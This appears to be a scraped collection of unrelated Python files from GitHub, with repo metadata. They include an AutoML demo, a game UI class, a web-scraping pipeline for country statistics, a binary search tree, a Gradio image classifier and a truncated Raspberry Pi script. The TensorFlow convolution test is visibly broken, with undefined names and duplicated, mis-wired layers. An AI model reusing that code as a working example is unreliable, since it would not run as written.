lightautoml.ml_algo.boost_lgbm import BoostLGBM\nfrom lightautoml.pipelines.features.lgb_pipeline import LGBAdvancedPipeline\nfrom lightautoml.pipelines.features.lgb_pipeline import LGBSimpleFeatures\nfrom lightautoml.pipelines.ml.base import MLPipeline\nfrom lightautoml.pipelines.selection.importance_based import ImportanceCutoffSelector\nfrom lightautoml.pipelines.selection.importance_based import (\n ModelBasedImportanceEstimator,\n)\nfrom lightautoml.reader.base import PandasToPandasReader\nfrom lightautoml.tasks import Task\n\n\n################################\n# Features:\n# - group_by transformer\n################################\n\nN_FOLDS = 3 # number of folds for cross-validation inside AutoML\nRANDOM_STATE = 42 # fixed random state for various reasons\nN_THREADS = 4 # threads cnt for lgbm and linear models\nTIMEOUT = 100\nUSED_COLS = [\"SK_ID_CURR\", \"TARGET\", \"NAME_CONTRACT_TYPE\", \"CODE_GENDER\", \"AMT_INCOME_TOTAL\", \"DAYS_BIRTH\"]\nTARGET = \"TARGET\"\n\n# load data\ndata = pd.read_csv(\"./data/sampled_app_train.csv\")\ndata = data[USED_COLS]\ntrain, test = train_test_split(data, test_size=2000, random_state=42)\n\n# Using TabularAutoML preset\ntask = Task(\"binary\")\nroles = {\n \"target\": TARGET,\n CategoryRole(dtype=str): [\"NAME_CONTRACT_TYPE\", \"CODE_GENDER\"],\n NumericRole(np.float32): [\"AMT_INCOME_TOTAL\"],\n}\n\n# specify groupby triplets: [(\"group_col\", \"feature\", \"transform_type\"),]\ngroupby_triplets = [\n (\"CODE_GENDER\", \"AMT_INCOME_TOTAL\", \"max\"),\n (\"NAME_CONTRACT_TYPE\", \"CODE_GENDER\", \"mode\"),\n (\"NAME_CONTRACT_TYPE\", \"AMT_INCOME_TOTAL\", \"delta_mean\"),\n]\n\nprint(f\"Try TabularAutoML with the following groupby_triplets:\\n{groupby_triplets}\")\n\nautoml = TabularAutoML(\n task=task,\n timeout=TIMEOUT,\n cpu_limit=N_THREADS,\n reader_params={\"n_jobs\": N_THREADS, \"cv\": N_FOLDS, \"random_state\": RANDOM_STATE},\n general_params={\"use_algos\": [[\"lgb\"]]},\n gbm_pipeline_params={\"use_groupby\": True, \"groupby_triplets\": groupby_triplets},\n)\nautoml.fit_predict(train, roles=roles)\n\nfeature_scores = automl.levels[0][0].ml_algos[0].get_features_score()\n\nprint(f\"Feature importances of BoostLGBM model. Pay attention to groupby features:\\n{feature_scores}\")\n\n# Custom pipeline with groupby features defined by importance\nprint(\"\\nTry custom pipeline with groupby features defined by importance:\\n\")\n\ntask = Task(\"binary\")\nreader = PandasToPandasReader(task, cv=N_FOLDS, random_state=RANDOM_STATE)\nmodel0 = BoostLGBM(default_params={\"learning_rate\": 0.1, \"num_leaves\": 64, \"seed\": 42, \"num_threads\": N_THREADS})\npie = ModelBasedImportanceEstimator()\nselector = ImportanceCutoffSelector(LGBSimpleFeatures(), model0, pie, cutoff=-9999)\n\n\npipe = LGBAdvancedPipeline(\n use_groupby=True, pre_selector=selector, groupby_types=[\"delta_median\", \"std\"], groupby_top_based_on=\"importance\"\n)\n\nmodel = BoostLGBM(\n default_params={\n \"learning_rate\": 0.05,\n \"num_leaves\": 128,\n \"seed\": 1,\n \"num_threads\": N_THREADS,\n }\n)\n\npipeline = MLPipeline([model], pre_selection=selector, features_pipeline=pipe, post_selection=None)\n\nautoml = AutoML(\n reader,\n [[pipeline]],\n skip_conn=False,\n)\n\noof_pred = automl.fit_predict(\n train,\n roles={\"target\": TARGET},\n)\n\nprint(f\"Feature used by BoostLGBM model. Pay attention to groupby features:\\n{pipe.output_features}\")\n","repo_name":"sb-ai-lab/LightAutoML","sub_path":"examples/demo15.py","file_name":"demo15.py","file_ext":"py","file_size_in_byte":3668,"program_lang":"python","lang":"en","doc_type":"code","stars":640,"dataset":"github-code","pt":"67"} +{"seq_id":"23754240297","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Feb 1 15:48:54 2019\r\n\r\n@author: Durgesh\r\n\"\"\"\r\n\r\nprediction_class = ObjectDetectionPredict(model_name=MODEL_NAME)\r\nall_test_images = glob.glob(\"%s/*.jpg\"%(test_image_dir.rstrip('/')))\r\nprint(\"Number of Test Images : \", len(all_test_images))\r\n\r\nfor image in all_test_images:\r\n #### boxes are in [ymin. xmin. ymax, xmax] format\r\n scores, classes, img, boxes = prediction_class.predict_single_image(image)\r\n image_name, ext = image.rsplit('.', 1)\r\n new_image_name = image_name + \"_prediction.\" + ext\r\n img.save(new_image_name)\r\nprediction_class.sess.close()","repo_name":"abhishekcodes/DroneODAC","sub_path":"Drone_object_detection/tf4.py","file_name":"tf4.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"71289135253","text":"\nfrom GameObject import *;\nfrom Const import *;\nfrom Player import *;\n\nfrom typing import List;\n\noffset_x, offset_y = 20, 20;\nclass DashBar(GameObject):\n LOAD :bool = False;\n\n Bars :List[Image] = []; \n BG :Image = None;\n DashGage :Image = None;\n\n Instance :GameObject = None;\n MyPlayer :GameObject = None;\n\n def __init__(self, owner, x, y, angle, sx, sy, state):\n super(DashBar, self).__init__(x, y, angle, sx, sy, state);\n \n if False == DashBar.LOAD :\n DashBar.Bars.append(pico2d.load_image(\"assets/UI/DashBar (1).png\"));\n DashBar.Bars.append(pico2d.load_image(\"assets/UI/DashBar (2).png\"));\n DashBar.Bars.append(pico2d.load_image(\"assets/UI/DashBar (3).png\"));\n DashBar.Bars.append(pico2d.load_image(\"assets/UI/DashBar (4).png\"));\n DashBar.Bars.append(pico2d.load_image(\"assets/UI/DashBar (5).png\"));\n\n DashBar.DashGage = pico2d.load_image(\"assets/UI/DashGage.png\");\n\n DashBar.Instance = self;\n \n DashBar.LOAD =True;\n\n self.img = DashBar.Bars[0]; \n self.name = \"DashBar\";\n self.state = True;\n self.has_image = True;\n\n def update(self, time):\n pass;\n\n def render(self):\n current_dash_gage = Player.MyPlayer.dash_count;\n max_dash_gage = Player.MyPlayer.max_dash_count - 2;\n\n DashBar.Bars[max_dash_gage].draw_to_origin( 20 , Const.WIN_HEIGHT - 150);\n \n for i in range(current_dash_gage):\n DashBar.DashGage.draw_to_origin( 30 + 55 * i, Const.WIN_HEIGHT - 125, DashBar.DashGage.w, DashBar.DashGage.h);\n\n def get_instance():\n if None == DashBar.Instance:\n from Player import Player;\n DashBar.Instance = DashBar(Player.MyPlayer, 0,0,0,1,1,True);\n\n return DashBar.Instance;\n","repo_name":"charg2/2dgp","sub_path":"2DGP/DashBar.py","file_name":"DashBar.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18860350340","text":"import numpy as np\nimport pandas as pd\n\nimport json\nimport requests\nfrom bs4 import BeautifulSoup\n\n\ndef countries():\n df = pd.read_csv('../datasets/Country.csv')\n df = df[['CountryCode', 'ShortName']]\n df.columns = ['Country Code', 'Country']\n\n return df\n\n\ndef labor():\n df = pd.read_csv('../datasets/labor_data.csv')\n df.drop(['Series Code'], axis=1, inplace=True)\n\n total_of_unemployment = df[df['Series Name'] == 'Total of unemployment']\n total_of_unemployment_ae = df[df['Series Name'] == 'Total of unemployment with advanced education']\n total_of_unemployment_ie = df[df['Series Name'] == 'Total of unemployment with intermediate education']\n\n features = {\n 'Country': total_of_unemployment['Country'].values,\n 'Country Code': total_of_unemployment['Country Code'].values,\n 'Unemployment': total_of_unemployment['2016'].values,\n 'Unemployment with advanced education': total_of_unemployment_ae['2016'].values,\n 'Unemployment with intermediate education': total_of_unemployment_ie['2016'].values\n }\n\n return pd.DataFrame.from_dict(features)\n\n\ndef happiness(df_country):\n df = pd.read_csv('../datasets/2016.csv')\n df = pd.merge(df, df_country, on='Country', how='left')\n\n df = df[\n ['Country', 'Country Code', 'Region', 'Happiness Rank',\n 'Happiness Score', 'Lower Confidence Interval',\n 'Upper Confidence Interval', 'Economy (GDP per Capita)', 'Family',\n 'Health (Life Expectancy)', 'Freedom',\n 'Trust (Government Corruption)', 'Generosity', 'Dystopia Residual']\n ]\n\n country = ['Taiwan', 'Slovakia', 'South Korea', 'Hong Kong', 'Kyrgyzstan',\n 'Laos', 'Palestinian Territories', 'Congo (Kinshasa)',\n 'Congo (Brazzaville)', 'Ivory Coast', 'Syria']\n\n code = ['TWN', 'SVK', 'KOR', 'HKG', 'KGZ', 'LAO',\n 'PSE', 'COD', 'COG', 'CIV', 'SYR']\n\n for i in range(len(country)):\n df.loc[df['Country'] == country[i], 'Country Code'] = code[i]\n\n return df\n\n\ndef internet(df_country):\n r = requests.get('https://www.cia.gov/library/publications/the-world-factbook/fields/204.html#AF')\n c = r.content\n soup = BeautifulSoup(c, features='html.parser')\n\n data = soup.findAll('tr')[1:]\n\n data_dictionary = []\n\n for country in data:\n try:\n country_name = country.findAll('td', {'class': 'country'})[0].text.replace('\\n', '')\n internet_percentage = float(country.findAll('span', {'class': 'subfield-number'})[1].text.replace('%', ''))\n data_dictionary.append({'Country': country_name, 'Percentage of internet access': internet_percentage})\n except:\n pass\n\n df = pd.DataFrame.from_dict(data_dictionary)\n df = pd.merge(df, df_country, on='Country', how='left')\n df = df[\n ['Country', 'Country Code', 'Percentage of internet access']\n ]\n\n country = [\n 'Anguilla', 'Antarctica', 'Bahamas, The', 'British Virgin Islands',\n 'Burma', 'Christmas Island', 'Congo, Democratic Republic of the',\n 'Congo, Republic of the', 'Cook Islands', \"Cote d'Ivoire\", 'Curacao',\n 'Czechia', 'Eswatini', 'Falkland Islands (Islas Malvinas)',\n 'Faroe Islands', 'Gambia, The', 'Gaza Strip', 'Gibraltar', 'Guernsey',\n 'Hong Kong', 'Jersey', 'Korea, South', 'Kyrgyzstan', 'Laos', 'Macau',\n 'Micronesia, Federated States of', 'Montserrat', 'Nauru', 'Niue',\n 'Norfolk Island', 'North Macedonia', 'Pitcairn Islands',\n 'Saint Helena, Ascension, and Tristan da Cunha',\n 'Saint Kitts and Nevis', 'Saint Lucia', 'Saint Martin',\n 'Saint Pierre and Miquelon', 'Saint Vincent and the Grenadines',\n 'Sao Tome and Principe', 'Slovakia', 'Syria', 'Taiwan', 'Tokelau',\n 'Wallis and Futuna', 'West Bank'\n ]\n\n code = [\n 'AIA', 'ATA', 'BHS', 'VGB', 'MMR', 'CXR', 'COD', 'COG', 'COK', 'CIV',\n 'CUW', 'CZE', 'SWZ', 'FLK', 'FRO', 'GMB', 'GZA', 'GIB', 'GGY', 'HKG',\n 'JEY', 'KOR', 'KGZ', 'LAO', 'MAC', 'FSM', 'MSR', 'NRU', 'NIU', 'NFK',\n 'MKD', 'PCN', 'SHN', 'KNA', 'LCA', 'MAF', 'SPM', 'VCT', 'STP', 'SVK',\n 'SYR', 'TWN', 'TKL', 'WLF', 'PSE'\n ]\n\n for i in range(len(country)):\n df.loc[df['Country'] == country[i], 'Country Code'] = code[i]\n\n return df\n\n\ndef suicide(df_country):\n with open('../datasets/data.json', 'r') as file:\n obj = file.read()\n\n data = json.loads(obj)\n\n list_of_data = []\n\n for fact in data['fact']:\n for category in fact['dims']:\n if category == 'COUNTRY':\n country_name = fact['dims'][category]\n elif category == 'SEX':\n sex = fact['dims'][category]\n suicide_rate = fact['Value']\n list_of_data.append({\n 'Country name': country_name,\n 'Sex': sex,\n 'Suicide rate': suicide_rate\n })\n\n country_names = []\n\n for country in list_of_data:\n country_names.append(country['Country name'])\n\n country_names = set(country_names)\n\n data_dictionary = []\n\n for country in country_names:\n data_dictionary.append({\n 'Country': country,\n 'Male Suicide Rate': '',\n 'Female Suicide Rate': '',\n 'Combined Suicide Rate': ''\n })\n\n for data in list_of_data:\n for country in data_dictionary:\n if data['Country name'] == country['Country']:\n if data['Sex'] == 'Male':\n country['Male Suicide Rate'] = data['Suicide rate']\n elif data['Sex'] == 'Female':\n country['Female Suicide Rate'] = data['Suicide rate']\n elif data['Sex'] == 'Both sexes':\n country['Combined Suicide Rate'] = data['Suicide rate']\n\n df = pd.DataFrame.from_dict(data_dictionary)\n df.set_index(['Country'], inplace=True)\n df.sort_index(inplace=True)\n df.reset_index(inplace=True)\n\n df = pd.merge(df, df_country, on='Country', how='left')\n df = df[\n ['Country', 'Country Code', 'Combined Suicide Rate',\n 'Male Suicide Rate', 'Female Suicide Rate']\n ]\n\n country = [\n 'Bahamas', 'Bolivia (Plurinational State of)', 'Brunei Darussalam',\n 'Czechia', \"Democratic People's Republic of Korea\",\n 'Democratic Republic of the Congo', 'Eswatini', 'Gambia',\n 'Iran (Islamic Republic of)', 'Kyrgyzstan',\n \"Lao People's Democratic Republic\", 'Micronesia (Federated States of)',\n 'Republic of Korea', 'Republic of Moldova',\n 'Republic of North Macedonia', 'Russian Federation', 'Saint Lucia',\n 'Saint Vincent and the Grenadines', 'Sao Tome and Principe',\n 'Slovakia', 'United Kingdom of Great Britain and Northern Ireland',\n 'United Republic of Tanzania', 'United States of America',\n 'Venezuela (Bolivarian Republic of)', 'Viet Nam'\n ]\n\n code = [\n 'BHS', 'BOL', 'BRN', 'CZE', 'PRK', 'COD', 'SWZ', 'GMB', 'IRN', 'KGZ',\n 'LAO', 'FSM', 'KOR', 'MDA', 'MKD', 'RUS', 'LCA', 'VCT', 'STP', 'SVK',\n 'GBR', 'TZA', 'USA', 'VEN', 'VNM'\n ]\n\n for i in range(len(country)):\n df.loc[df['Country'] == country[i], 'Country Code'] = code[i]\n\n return df\n\n\ndef population():\n df = pd.read_csv('../datasets/API_SP.URB.TOTL.IN.ZS_DS2_en_csv_v2_248280.csv',\n skiprows=4)\n df = df[['Country Name', 'Country Code', '2016']]\n df.columns = ['Country', 'Country Code', '2016']\n\n return df\n\n\ndef religious(df_country):\n r = requests.get('https://rationalwiki.org/wiki/Importance_of_religion_by_country')\n c = r.content\n soup = BeautifulSoup(c, features='html.parser')\n\n data = soup.findAll('table', {'class': 'wikitable'})\n data = data[0].findAll('td')\n\n religious_data = []\n\n for i in range(len(data)):\n if i == 0 or i % 3 == 0:\n country = data[i].text.strip()\n elif i in list(range(1, len(data), 3)):\n percentual_religious = float(data[i].text.replace('%', ''))\n religious_data.append({\n 'Country': country,\n 'Percentage Religious': percentual_religious\n })\n\n df = pd.DataFrame.from_dict(religious_data)\n df = pd.merge(df, df_country, on='Country', how='left')\n\n country = [\n 'Hong Kong', 'The Netherlands', 'South Korea', 'Taiwan', 'Slovakia',\n 'United States of America', 'Kygyzstan', 'Dominican Rebpublic',\n 'Palestinian Territories', 'Laos', 'Democratic Republic of the Congo',\n 'Republic of the Congo'\n ]\n\n code = [\n 'HKG', 'NLD', 'KOR', 'TWN', 'SVK', 'USA', 'KGZ', 'DOM', 'PSE', 'LAO',\n 'COD', 'COG'\n ]\n\n for i in range(len(country)):\n df.loc[df['Country'] == country[i], 'Country Code'] = code[i]\n\n df = df[['Country', 'Country Code', 'Percentage Religious']]\n\n return df\n\n\ndef health():\n df = pd.read_csv('../datasets/mental_disorder_substance_use.csv')\n df = df[df['Year'] == 2016]\n df.drop(['Year'], axis=1, inplace=True)\n df.columns = [\n 'Country', 'Country Code', 'Schizophrenia', 'Bipolar disorder',\n 'Eating disorders', 'Anxiety disorders', 'Drug use disorders',\n 'Depression', 'Alcohol use disorders'\n ]\n\n return df\n\n\ndef save_dataframes(df_country, df_labor, df_happiness, df_health,\n df_internet_stats, df_population_living_cities,\n df_religious, df_suicide_rates):\n df_country.to_csv('../datasets/final/country.csv', index=False)\n df_happiness.to_csv('../datasets/final/happiness.csv', index=False)\n df_health.to_csv('../datasets/final/health.csv', index=False)\n # df_health_continents.to_csv('../datasets/final/health_continents.csv', index=False)\n df_internet_stats.to_csv('../datasets/final/internet_stats.csv', index=False)\n df_population_living_cities.to_csv('../datasets/final/population_living_cities.csv', index=False)\n df_religious.to_csv('../datasets/final/religious.csv', index=False)\n df_suicide_rates.to_csv('../datasets/final/suicide_rates.csv', index=False)\n df_labor.to_csv('../datasets/final/labor.csv', index=False)\n\n\nif __name__ == '__main__':\n # Country names\n df_country = countries()\n print(df_country.head())\n\n # Labor\n df_labor = labor()\n print(df_labor.head())\n\n # Happiness\n df_happiness = happiness(df_country)\n print(df_happiness.head())\n\n # Internet stats\n df_internet_stats = internet(df_country)\n print(df_internet_stats.head())\n\n # Suicide stats\n df_suicide_rates = suicide(df_country)\n print(df_suicide_rates.head())\n\n # Population living in cities\n df_population_living_cities = population()\n print(df_population_living_cities.head())\n\n # Religious data\n df_religious = religious(df_country)\n print(df_religious.head())\n\n # Health data\n df_health = health()\n print(df_health.head())\n\n # Saving dataframes\n save_dataframes(df_country=df_country,\n df_labor=df_labor,\n df_happiness=df_happiness,\n df_health=df_health,\n df_internet_stats=df_internet_stats,\n df_population_living_cities=df_population_living_cities,\n df_religious=df_religious,\n df_suicide_rates=df_suicide_rates)\n","repo_name":"pedronovaes/suicide-rates","sub_path":"codes/collect_data.py","file_name":"collect_data.py","file_ext":"py","file_size_in_byte":11331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32562430175","text":"# encoding:utf-8\nimport tensorflow as tf\nimport tensorflow.contrib.slim as slim\nimport matplotlib.pyplot as plt\n\nSrcImgRaw = tf.gfile.FastGFile(\"/home/shenxj/tf-work/datasets/cat.jpg\", 'r').read()\nTagImgRaw = tf.gfile.FastGFile(\"/home/shenxj/tf-work/datasets/cat.jpg\", 'r').read()\n\nwith tf.Session() as sess:\n SrcImg = tf.image.decode_jpeg(SrcImgRaw)\n SrcImg = tf.image.convert_image_dtype(SrcImg, dtype=tf.float32)\n SrcImg = tf.image.resize_images(SrcImg, [128, 128], method=0)\n plt.imshow(SrcImg.eval())\n plt.show()\n\n TagImg = tf.image.decode_jpeg(TagImgRaw)\n TagImg = tf.image.convert_image_dtype(TagImg, dtype=tf.float32)\n TagImg = tf.image.resize_images(TagImg, [128, 128], method=0)\n plt.imshow(TagImg.eval())\n plt.show()\n\n CONV_1_9_SIZE = 3\n CONV_1_9_DEEP = 16\n SRC_IMG_CHANNELS = 3\n conv_1_9_w = tf.get_variable(\n \"conv_1_9_w\", [CONV_1_9_SIZE, CONV_1_9_SIZE, SRC_IMG_CHANNELS, CONV_1_9_DEEP],\n initializer=tf.truncated_normal_initializer(stddev=0.1))\n conv_1_9_b = tf.get_variable(\n \"conv_1_9_b\", [CONV_1_9_DEEP], initializer=tf.constant_initializer(0.0))\n # 使用变长为3,深度为16的过滤器,过滤器移动的步长为1,且使用全0填充\n Convolution1 = tf.nn.conv2d(SrcImg, conv_1_9_w, strides=[1, 1, 1, 1], padding='SAME')\n ReLU1 = tf.nn.relu(tf.nn.bias_add(Convolution1, conv_1_9_b))\n\n Convolution9 = tf.nn.conv2d(TagImg, conv_1_9_w, strides=[1, 1, 1, 1], padding='SAME')\n ReLU9 = tf.nn.relu(tf.nn.bias_add(Convolution9, conv_1_9_b))\n\n CONV2_SIZE = 3\n CONV2_DEEP = 32\n conv2_w = tf.get_variable(\n \"conv2_w\", [CONV2_SIZE, CONV2_SIZE, CONV1_DEEP, CONV2_DEEP],\n initializer=tf.truncated_normal_initializer(stddev=0.1))\n conv2_b = tf.get_variable(\n \"conv2_b\", [CONV2_DEEP], initializer=tf.constant_initializer(0.0))\n # 使用变长为3,深度为32的过滤器,过滤器移动的步长为2,且使用全0填充\n Convolution2 = tf.nn.conv2d(ReLU1, conv2_w, strides=[1, 2, 2, 1], padding='SAME')\n ReLU1 = tf.nn.relu(tf.nn.bias_add(Convolution2, conv2_b))\n\n Convolution10 = tf.nn.conv2d(ReLU9, conv2_w, strides=[1, 2, 2, 1], padding='SAME')\n ReLU9 = tf.nn.relu(tf.nn.bias_add(Convolution9, conv2_b))\n\n CONV2_SIZE = 3\n CONV2_DEEP = 32\n conv2_w = tf.get_variable(\n \"conv2_w\", [CONV2_SIZE, CONV2_SIZE, CONV1_DEEP, CONV2_DEEP],\n initializer=tf.truncated_normal_initializer(stddev=0.1))\n conv2_b = tf.get_variable(\n \"conv2_b\", [CONV2_DEEP], initializer=tf.constant_initializer(0.0))\n # 使用变长为3,深度为32的过滤器,过滤器移动的步长为2,且使用全0填充\n Convolution2 = tf.nn.conv2d(ReLU1, conv2_w, strides=[1, 2, 2, 1], padding='SAME')\n ReLU1 = tf.nn.relu(tf.nn.bias_add(Convolution2, conv2_b))\n\n Convolution10 = tf.nn.conv2d(ReLU9, conv2_w, strides=[1, 2, 2, 1], padding='SAME')\n ReLU9 = tf.nn.relu(tf.nn.bias_add(Convolution9, conv2_b))","repo_name":"ShenXiaoJun/tf-work","sub_path":"conv-test.py","file_name":"conv-test.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"486886240","text":"\"\"\"\r\n 145 является любопытным числом,\r\nпоскольку 1! + 4! + 5! = 1 + 24 + 120 = 145.\r\n\r\n Найдите сумму всех чисел, каждое из которых\r\nравно сумме факториалов своих цифр.\r\n\r\n Примечание: поскольку 1! = 1 и 2! = 2 не являются суммами,\r\nучитывать их не следует.\r\n\"\"\"\r\n\r\nfrom math import factorial\r\n\r\n\r\ndef is_sum_factorials(n):\r\n \"\"\"\r\n Функция возвращает True, если число\r\n является суммой факториалов его цифр.\r\n \"\"\"\r\n if n < 2:\r\n return False\r\n \r\n number = 0\r\n for d in str(n):\r\n number += factorial(int(d))\r\n \r\n if number == n:\r\n return True\r\n \r\n return False\r\n\r\n\r\n# Выводит сумму чисел, которые могут быть представлены\r\n# в виде сумм факториалов их цифр\r\nprint(sum(i for i in range(100000) if is_sum_factorials(i)))\r\n","repo_name":"Tyferse/Python3_public","sub_path":"ProjecEuler2021/Tasks 31-40/Task34.py","file_name":"Task34.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30329864599","text":"import math\n\nclass Node:\n def __init__(self,value):\n self.value = value\n self.left = None\n self.right = None\n\nclass BST:\n def __init__(self, value):\n self.value = value\n self.node = Node(self.value)\n self.root = self.node\n self.length = 1\n self.counter = 1\n \n def insert(self, value):\n self.value = value\n newNode = Node(self.value)\n currentNode = self.root\n \n while True:\n currentValue = currentNode.value\n if value < currentValue:\n #left \n if not currentNode.left:\n currentNode.left = newNode\n self.length = self.length + 1\n return \n currentNode = currentNode.left\n else:\n # right\n if not currentNode.right:\n currentNode.right = newNode\n self.length = self.length + 1\n return\n currentNode = currentNode.right\n\n def lookup(self,value): \n currentNode = self.root \n while True:\n currentValue = currentNode.value\n if value < currentValue:\n if not currentNode.left:\n print(\"No node with value {0}\".format(value))\n return\n currentNode = currentNode.left\n elif value > currentValue:\n if not currentNode.right:\n print(\"No node with value {0}\".format(value))\n return\n currentNode = currentNode.right\n else:\n print(\"Match Found {0}\".format(value))\n return currentNode\n\n def minLeft(self, node):\n parentLeftNode = None\n temp = node.left\n leftNode = None\n while True:\n if not temp:\n return leftNode, parentLeftNode\n else:\n parentLeftNode = leftNode\n leftNode = temp\n temp = temp.left\n\n def remove(self, value):\n currentNode = self.root\n parentNode = None \n while currentNode!= None and currentNode.value != value:\n parentNode = currentNode\n if value < currentNode.value:\n currentNode = currentNode.left\n else:\n currentNode = currentNode.right\n if not currentNode:\n print(\"No key\")\n return self.root\n leftNode = currentNode.left \n rightNode = currentNode.right\n\n if not leftNode or not rightNode: \n if not leftNode and not rightNode:\n nodeToBe = None\n elif not rightNode:\n nodeToBe = currentNode.left\n elif not leftNode:\n nodeToBe = currentNode.right\n \n if parentNode.left == currentNode:\n parentNode.left = nodeToBe\n elif parentNode.right == currentNode:\n parentNode.right = nodeToBe\n else:\n print(\"No node with given key...\") \n else:\n if rightNode.left:\n leftMostNode, parentLeftMostNode = self.minLeft(rightNode)\n parentLeftMostNode = parentLeftMostNode if parentLeftMostNode else rightNode\n if leftMostNode.right:\n parentLeftMostNode.left = leftMostNode.right\n else:\n parentLeftMostNode.left = None\n currentNode.value = leftMostNode.value \n else:\n currentNode.value = rightNode.value\n return self.root\n\n\n def printHTree(self, node, space):\n\n if node == None:\n return\n \n leftNode = node.left \n rightNode = node.right\n\n height = math.ceil(self.length/2)\n \n space = height + space\n self.printHTree(rightNode, space)\n\n print()\n for i in range(0, space):\n print(end=' ')\n\n print(node.value)\n\n self.printHTree(leftNode, space)\n \n\nobj1 = BST(100)\nobj1.insert(25)\nobj1.insert(150)\nobj1.insert(12)\nobj1.insert(35)\n\nobj1.insert(6)\nobj1.insert(18)\n\nobj1.insert(30)\nobj1.insert(70)\n\nobj1.insert(130)\nobj1.insert(180)\n\nobj1.insert(115)\nobj1.insert(135)\n\n\n\nobj1.insert(155)\nobj1.insert(205)\n\nobj1.insert(168)\n\nobj1.insert(167)\nobj1.insert(170)\n\n\n\nobj1.printHTree(obj1.root, 0)\n# delete 150 \n# right child(180) to 150 contains right(205)\n# right child(180) to 150 contains left(155)\n# 155 didnt contain left but it has right(168) \n# after delete\n# 155 came to 150th position and 168 came to 155th position\n\nprint ( \"+++++++++++++++++++++++++++++++++++++++++++\")\nobj1.remove(150)\nobj1.printHTree(obj1.root, 0)\n\nprint ( \"+++++++++++++++++++++++++++++++++++++++++++\")\nobj1.remove(6)\nobj1.printHTree(obj1.root, 0)\n\n\nprint ( \"+++++++++++++++++++++++++++++++++++++++++++\")\nobj1.remove(100)\nobj1.printHTree(obj1.root, 0)\n\n\nprint ( \"+++++++++++++++++++++++++++++++++++++++++++\")\nobj1.remove(180)\nobj1.printHTree(obj1.root, 0)\n\nprint ( \"+++++++++++++++++++++++++++++++++++++++++++\")\nobj1.remove(130)\nobj1.printHTree(obj1.root, 0)\n\nprint ( \"+++++++++++++++++++++++++++++++++++++++++++\")\nobj1.remove(205)\nobj1.printHTree(obj1.root, 0)\n\nprint ( \"+++++++++++++++++++++++++++++++++++++++++++\")\nobj1.remove(25)\nobj1.printHTree(obj1.root, 0)\n\nprint ( \"+++++++++++++++++++++++++++++++++++++++++++\")\nobj1.remove(12)\nobj1.printHTree(obj1.root, 0)\n\n\nprint ( \"+++++++++++++++++++++++++++++++++++++++++++\")\nobj1.remove(30)\nobj1.printHTree(obj1.root, 0)\n\n\n\n\n\n\n \n\n\n","repo_name":"velmuruganpon/DataStructures","sub_path":"bin/ignore/binarySearchTree_ignore.py","file_name":"binarySearchTree_ignore.py","file_ext":"py","file_size_in_byte":4909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"18614971165","text":"import gradio as gr\nfrom ultralytics import YOLO\nimport os\n\n# catgories\nformat = { 0: 'Adenocarcinoma case',\n 1: 'Bengin case',\n 2: 'Large cell Carcinoma case',\n 3: 'Malignant case',\n 4: 'Normal case',\n 5: 'Squamous cell Carcinoma case'}\n\n# returning classifiers output\ndef image_classifier(inp):\n model = YOLO(\"best-2.pt\")\n\n result = model.predict(source=inp)\n probs = result[0].probs\n max_tensor = max(probs)\n tensor_pos = ((probs == max_tensor).nonzero(as_tuple=True)[0])\n\n return format.get(int(tensor_pos))\n\n# gradio code block for input and output\nwith gr.Blocks() as app:\n gr.Markdown(\"## Lung Cancer classification using Yolov8\")\n with gr.Row():\n inp_img = gr.Image()\n out_txt = gr.Textbox()\n btn = gr.Button(value=\"Submit\")\n btn.click(image_classifier, inputs=inp_img, outputs=out_txt)\n\n gr.Markdown(\"## Image Examples\")\n gr.Examples(\n examples=[os.path.join(os.path.dirname(__file__), \"1.jpg\"), os.path.join(os.path.dirname(__file__), \"2.jpg\")],\n inputs=inp_img,\n outputs=out_txt,\n fn=image_classifier,\n cache_examples=True,\n )\n\napp.launch(share=True)\n","repo_name":"bedead/lung-cancer-classification-yoloV8---gradio","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14125535941","text":"user_string = input(\"Введите строку из чисел с разделителем в виде пробела: \").split(\" \")\nnumbers = list(map(float, user_string))\n\nprint(numbers)\n\nminn = round(numbers[0]%1,5)\nmaxx = round(numbers[0]%1,5)\n\nfor i in range (0,len(numbers)):\n temp = round(numbers[i]%1,5)\n print (round(numbers[i]%1,5))\n if temp > maxx:\n maxx = temp\n elif temp < minn:\n minn = temp\n\nprint(maxx, ' - ' , minn, ' = ', maxx - minn)\n","repo_name":"staspereverzev/PythonHomework","sub_path":"Homework003/Task003.py","file_name":"Task003.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"37836013702","text":"from ast import While\nfrom http import client\nimport paho.mqtt.client as mqtt\nimport random\nimport time\nimport sys\nimport os\nimport json\nimport torch\nimport random\nimport cv2\nimport threading\nimport signal\nimport sys\nimport _thread as thread # using Python 3\nimport api_module as api_w\nimport schedule\n\nrasp_build=True #change if you are using pc client (not raspberry)\nif(rasp_build):\n\timport RPi.GPIO as GPIO\n\nif rasp_build:\n\tpath_to_folder= os.path.join(\"/\",\"home\",\"pi\",\"Desktop\",\"airrigazione\")\nelse:\n\tpath_to_folder= os.path.join(\".\") #just for testing\n\n\nclass CustomPushButton:\n\tdef __init__(self, button_pin:int, led_pin:int, startValue=False):\n\t\t\"\"\"All pins MUST be defined as GPIO.BOARD. Pull-up resistors are enabled by software --> buttons must just connect to GND when pressed.\"\"\"\n\n\t\tself.Value = startValue\n\t\tself.button_pin = button_pin\n\t\tself.led_pin = led_pin\n\t\t#button config\n\t\tGPIO.setmode(GPIO.BOARD)\n\t\tGPIO.setup(button_pin, GPIO.IN, 